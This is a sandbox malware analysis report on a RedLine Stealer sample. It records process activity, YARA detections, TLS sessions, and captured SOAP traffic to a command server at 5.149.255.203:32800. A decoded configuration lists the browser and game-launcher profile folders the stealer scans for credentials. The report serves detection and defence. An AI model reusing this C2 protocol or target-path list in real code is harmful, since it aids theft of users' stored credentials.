Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 
78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 
72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 
6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 
6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 
2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 
3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 
6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 
73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 
2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 
79 73 22 2f 3e 3c 61 3a 4f 62 6a 65 63 74 34 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 34 3e 3c 61 3a 4f 62 6a 65 
63 74 36 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 36 3e 3c 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 74 72 75 
65 3c 2f 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 3c 61 3a 53 63 61 6e 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 73 50 
61 74 68 73 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 
6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 3e 3c 62 3a 73 74 72 69 
6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 42 61 74 74 6c 65 2e 6e 65 
74 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 
61 74 61 5c 4c 6f 63 61 6c 5c 43 68 72 6f 6d 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 
62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 
67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 
3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 28 78 38 36 29 
5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 
53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 
72 65 5c 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 
70 44 61 74 61 5c 4c 6f 63 61 6c 5c 4d 61 70 6c 65 53 74 75 64 69 6f 5c 43 68 72 6f 6d 65 50 6c 75 73 5c 55 73 65 72 20 
44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 
70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 49 72 69 64 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 
3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 37 
53 74 61 72 5c 37 53 74 61 72 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 
67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 65 
Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse 
xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.or
g/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>
<a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>false</a:Object4><a:Obj
ect6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http:
//schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string>
<b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppDat
a\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User 
Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USER
PROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string><b:string>%USERPROFILE%\AppData\Lo
cal\Iridium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\7Star\7Star\User Data</b:string><b:strin
g>%USERPROFILE%\AppData\Local\Ce

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.3 49753 5.149.255.203 32800 C:\Users\user\AppData\Local\Temp\srvs.exe

Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
11:40:01.361423016 CEST

14220 OUT POST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"
Host: 5.149.255.203:32800
Content-Length: 1151929
Expect: 100-continue
Accept-Encoding: gzip, deflate

Jul 22, 2021 
11:40:01.424666882 CEST

14220 IN HTTP/1.1 100 Continue

Jul 22, 2021 
11:40:02.236315966 CEST

15445 IN HTTP/1.1 200 OK
Content-Length: 147
Content-Type: text/xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Thu, 22 Jul 2021 09:39:56 GMT
Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 
78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 
6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 
2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 
Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xm
lns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.3 49754 5.149.255.203 32800 C:\Users\user\AppData\Local\Temp\srvs.exe
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Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
11:40:02.306895018 CEST

15446 OUT POST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"
Host: 5.149.255.203:32800
Content-Length: 1151921
Expect: 100-continue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Jul 22, 2021 
11:40:02.369169950 CEST

15446 IN HTTP/1.1 100 Continue

Jul 22, 2021 
11:40:02.905472040 CEST

16605 IN HTTP/1.1 200 OK
Content-Length: 261
Content-Type: text/xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Thu, 22 Jul 2021 09:39:56 GMT
Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 
78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 
70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 
2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 
74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 
2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 
73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 
Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns=
"http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-i
nstance"/></GetUpdatesResponse></s:Body></s:Envelope>

Timestamp Source IP
Source
Port Dest IP

Dest
Port Subject Issuer

Not
Before

Not
After

JA3 SSL Client
Fingerprint JA3 SSL Client Digest

Jul 22, 2021 
11:37:58.027946949 
CEST

88.99.66.31 443 192.168.2.3 49714 CN=*.iplogger.org 
CN=Sectigo RSA Domain 
Validation Secure Server CA, 
O=Sectigo Limited, L=Salford, 
ST=Greater Manchester, 
C=GB CN=USERTrust RSA 
Certification Authority, O=The 
USERTRUST Network, 
L=Jersey City, ST=New 
Jersey, C=US

CN=Sectigo RSA 
Domain Validation 
Secure Server CA, 
O=Sectigo Limited, 
L=Salford, ST=Greater 
Manchester, C=GB 
CN=USERTrust RSA 
Certification Authority, 
O=The USERTRUST 
Network, L=Jersey City, 
ST=New Jersey, C=US 
CN=AAA Certificate 
Services, O=Comodo 
CA Limited, L=Salford, 
ST=Greater 
Manchester, C=GB

Fri Nov 
20 
01:00:00 
CET 
2020 Fri 
Nov 02 
01:00:00 
CET 
2018 
Tue Mar 
12 
01:00:00 
CET 
2019

Sun Nov 
21 
00:59:59 
CET 
2021 
Wed 
Jan 01 
00:59:59 
CET 
2031 
Mon Jan 
01 
00:59:59 
CET 
2029

771,49196-
49195-49200-
49199-49188-
49187-49192-
49191-49162-
49161-49172-
49171-157-156-
61-60-53-47-
10,0-10-11-13-
35-23-65281,29-
23-24,0

37f463bf4616ecd445d4a1
937da06e19

CN=Sectigo RSA Domain 
Validation Secure Server CA, 
O=Sectigo Limited, L=Salford, 
ST=Greater Manchester, 
C=GB

CN=USERTrust RSA 
Certification Authority, 
O=The USERTRUST 
Network, L=Jersey City, 
ST=New Jersey, C=US

Fri Nov 
02 
01:00:00 
CET 
2018

Wed 
Jan 01 
00:59:59 
CET 
2031

CN=USERTrust RSA 
Certification Authority, O=The 
USERTRUST Network, 
L=Jersey City, ST=New 
Jersey, C=US

CN=AAA Certificate 
Services, O=Comodo 
CA Limited, L=Salford, 
ST=Greater 
Manchester, C=GB

Tue Mar 
12 
01:00:00 
CET 
2019

Mon Jan 
01 
00:59:59 
CET 
2029

Jul 22, 2021 
11:37:58.516778946 
CEST

104.25.233.53 443 192.168.2.3 49715 CN=sni.cloudflaressl.com, 
O="Cloudflare, Inc.", L=San 
Francisco, ST=California, 
C=US CN=Cloudflare Inc 
ECC CA-3, O="Cloudflare, 
Inc.", C=US

CN=Cloudflare Inc ECC 
CA-3, O="Cloudflare, 
Inc.", C=US 
CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Fri Jun 
11 
02:00:00 
CEST 
2021 
Mon Jan 
27 
13:48:08 
CET 
2020

Sat Jun 
11 
01:59:59 
CEST 
2022 
Wed 
Jan 01 
00:59:59 
CET 
2025

771,49196-
49195-49200-
49199-49188-
49187-49192-
49191-49162-
49161-49172-
49171-157-156-
61-60-53-47-
10,0-10-11-13-
35-23-65281,29-
23-24,0

37f463bf4616ecd445d4a1
937da06e19

CN=Cloudflare Inc ECC CA-
3, O="Cloudflare, Inc.", C=US

CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Mon Jan 
27 
13:48:08 
CET 
2020

Wed 
Jan 01 
00:59:59 
CET 
2025

HTTPS Packets
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Code Manipulations

Statistics

Behavior

Jul 22, 2021 
11:37:59.155395031 
CEST

104.192.141.1 443 192.168.2.3 49716 CN=bitbucket.org, 
OU=Bitbucket, O="Atlassian, 
Inc.", L=San Francisco, 
ST=California, C=US, 
SERIALNUMBER=3928449, 
OID.1.3.6.1.4.1.311.60.2.1.2=
Delaware, 
OID.1.3.6.1.4.1.311.60.2.1.3=
US, OID.2.5.4.15=Private 
Organization CN=DigiCert 
SHA2 Extended Validation 
Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=DigiCert SHA2 
Extended Validation 
Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US 
CN=DigiCert High 
Assurance EV Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Fri Mar 
27 
01:00:00 
CET 
2020 
Tue Oct 
22 
14:00:00 
CEST 
2013

Mon 
May 23 
14:00:00 
CEST 
2022 
Sun Oct 
22 
14:00:00 
CEST 
2028

771,49196-
49195-49200-
49199-49188-
49187-49192-
49191-49162-
49161-49172-
49171-157-156-
61-60-53-47-
10,0-10-11-13-
35-23-65281,29-
23-24,0

37f463bf4616ecd445d4a1
937da06e19

CN=DigiCert SHA2 Extended 
Validation Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=DigiCert High 
Assurance EV Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Tue Oct 
22 
14:00:00 
CEST 
2013

Sun Oct 
22 
14:00:00 
CEST 
2028

Jul 22, 2021 
11:37:59.939636946 
CEST

52.216.94.27 443 192.168.2.3 49717 CN=*.s3.amazonaws.com, 
O="Amazon.com, Inc.", 
L=Seattle, ST=Washington, 
C=US CN=DigiCert Baltimore 
CA-2 G2, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=DigiCert Baltimore 
CA-2 G2, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US 
CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Mon Jan 
11 
01:00:00 
CET 
2021 
Tue Dec 
08 
13:05:07 
CET 
2015

Sat Feb 
12 
00:59:59 
CET 
2022 
Sat May 
10 
14:00:00 
CEST 
2025

771,49196-
49195-49200-
49199-49188-
49187-49192-
49191-49162-
49161-49172-
49171-157-156-
61-60-53-47-
10,0-10-11-13-
35-23-65281,29-
23-24,0

37f463bf4616ecd445d4a1
937da06e19

CN=DigiCert Baltimore CA-2 
G2, OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Tue Dec 
08 
13:05:07 
CET 
2015

Sat May 
10 
14:00:00 
CEST 
2025

Jul 22, 2021 
11:39:14.152019978 
CEST

104.192.141.1 443 192.168.2.3 49746 CN=bitbucket.org, 
OU=Bitbucket, O="Atlassian, 
Inc.", L=San Francisco, 
ST=California, C=US, 
SERIALNUMBER=3928449, 
OID.1.3.6.1.4.1.311.60.2.1.2=
Delaware, 
OID.1.3.6.1.4.1.311.60.2.1.3=
US, OID.2.5.4.15=Private 
Organization CN=DigiCert 
SHA2 Extended Validation 
Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=DigiCert SHA2 
Extended Validation 
Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US 
CN=DigiCert High 
Assurance EV Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Fri Mar 
27 
01:00:00 
CET 
2020 
Tue Oct 
22 
14:00:00 
CEST 
2013

Mon 
May 23 
14:00:00 
CEST 
2022 
Sun Oct 
22 
14:00:00 
CEST 
2028

771,49196-
49195-49200-
49199-159-158-
49188-49187-
49192-49191-
49162-49161-
49172-49171-
157-156-61-60-
53-47-10,0-10-
11-13-35-23-
65281,29-23-
24,0

3b5074b1b5d032e5620f6
9f9f700ff0e

CN=DigiCert SHA2 Extended 
Validation Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=DigiCert High 
Assurance EV Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Tue Oct 
22 
14:00:00 
CEST 
2013

Sun Oct 
22 
14:00:00 
CEST 
2028

Jul 22, 2021 
11:39:15.092914104 
CEST

52.217.80.20 443 192.168.2.3 49747 CN=*.s3.amazonaws.com, 
O="Amazon.com, Inc.", 
L=Seattle, ST=Washington, 
C=US CN=DigiCert Baltimore 
CA-2 G2, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=DigiCert Baltimore 
CA-2 G2, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US 
CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Mon Jan 
11 
01:00:00 
CET 
2021 
Tue Dec 
08 
13:05:07 
CET 
2015

Sat Feb 
12 
00:59:59 
CET 
2022 
Sat May 
10 
14:00:00 
CEST 
2025

771,49196-
49195-49200-
49199-159-158-
49188-49187-
49192-49191-
49162-49161-
49172-49171-
157-156-61-60-
53-47-10,0-10-
11-13-35-23-
65281,29-23-
24,0

3b5074b1b5d032e5620f6
9f9f700ff0e

CN=DigiCert Baltimore CA-2 
G2, OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Tue Dec 
08 
13:05:07 
CET 
2015

Sat May 
10 
14:00:00 
CEST 
2025

Timestamp Source IP
Source
Port Dest IP

Dest
Port Subject Issuer

Not
Before

Not
After

JA3 SSL Client
Fingerprint JA3 SSL Client Digest
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Click to jump to process

System Behavior

File ActivitiesFile Activities

Start time: 11:37:56

Start date: 22/07/2021

Path: C:\Users\user\Desktop\Nb2HQZZDIf.exe

Wow64 process (32bit): false

Commandline: 'C:\Users\user\Desktop\Nb2HQZZDIf.exe' 

Imagebase: 0x140000000

File size: 627616 bytes

MD5 hash: B8371590264DB62ECBBA4B7F481A21A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 11:38:01

Start date: 22/07/2021

Path: C:\Users\user\AppData\Roaming\1234.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\1234.exe 1234

Imagebase: 0xcf0000

File size: 979968 bytes

MD5 hash: 523AC177BFB4FB64A20B60FC0CE3E0E3

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000002.00000002.304591133.00000000031FC000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000002.00000002.306824778.00000000042C0000.00000004.00000001.sdmp, Author: 
Joe Security

Antivirus matches: Detection: 33%, ReversingLabs

Reputation: low

Show Windows behavior

Analysis Process: Nb2HQZZDIf.exe PID: 5924 Parent PID: 5840Analysis Process: Nb2HQZZDIf.exe PID: 5924 Parent PID: 5840

General

File CreatedFile Created

File WrittenFile Written

Analysis Process: 1234.exe PID: 4628 Parent PID: 5924Analysis Process: 1234.exe PID: 4628 Parent PID: 5924

General

File CreatedFile Created

File WrittenFile Written
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Start time: 11:38:43

Start date: 22/07/2021

Path: C:\Users\user\AppData\Roaming\1234.exe

Wow64 process (32bit): false

Commandline: {path}

Imagebase: 0x2e0000

File size: 979968 bytes

MD5 hash: 523AC177BFB4FB64A20B60FC0CE3E0E3

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 11:38:43

Start date: 22/07/2021

Path: C:\Users\user\AppData\Roaming\1234.exe

Wow64 process (32bit): true

Commandline: {path}

Imagebase: 0x680000

File size: 979968 bytes

MD5 hash: 523AC177BFB4FB64A20B60FC0CE3E0E3

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
0000000F.00000002.382601084.0000000000402000.00000040.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

Show Windows behavior

Start time: 11:39:19

Start date: 22/07/2021

File ReadFile Read

Analysis Process: 1234.exe PID: 808 Parent PID: 4628Analysis Process: 1234.exe PID: 808 Parent PID: 4628

General

Analysis Process: 1234.exe PID: 2524 Parent PID: 4628Analysis Process: 1234.exe PID: 2524 Parent PID: 4628

General

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read

Analysis Process: srvs.exe PID: 5088 Parent PID: 2524Analysis Process: srvs.exe PID: 5088 Parent PID: 2524

General
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Joe Sandbox Cloud Basic 33.0.0 White Diamond

Disassembly

Code Analysis

Copyright Joe Security LLC

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Path: C:\Users\user\AppData\Local\Temp\srvs.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\AppData\Local\Temp\srvs.exe' 

Imagebase: 0xdf0000

File size: 3859368 bytes

MD5 hash: D11C21AB3E969F79E3C783FDD97E1C10

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000015.00000002.475705492.0000000000DF2000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 
00000015.00000003.382545912.0000000000D10000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_RedLine_1, Description: Yara detected RedLine Stealer, Source: 
00000015.00000002.484278366.000000000386E000.00000004.00000001.sdmp, Author: 
Joe Security

Antivirus matches: Detection: 100%, Joe Sandbox ML
Detection: 20%, Metadefender, Browse
Detection: 36%, ReversingLabs

Reputation: low

Show Windows behavior

Show Windows behavior

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read
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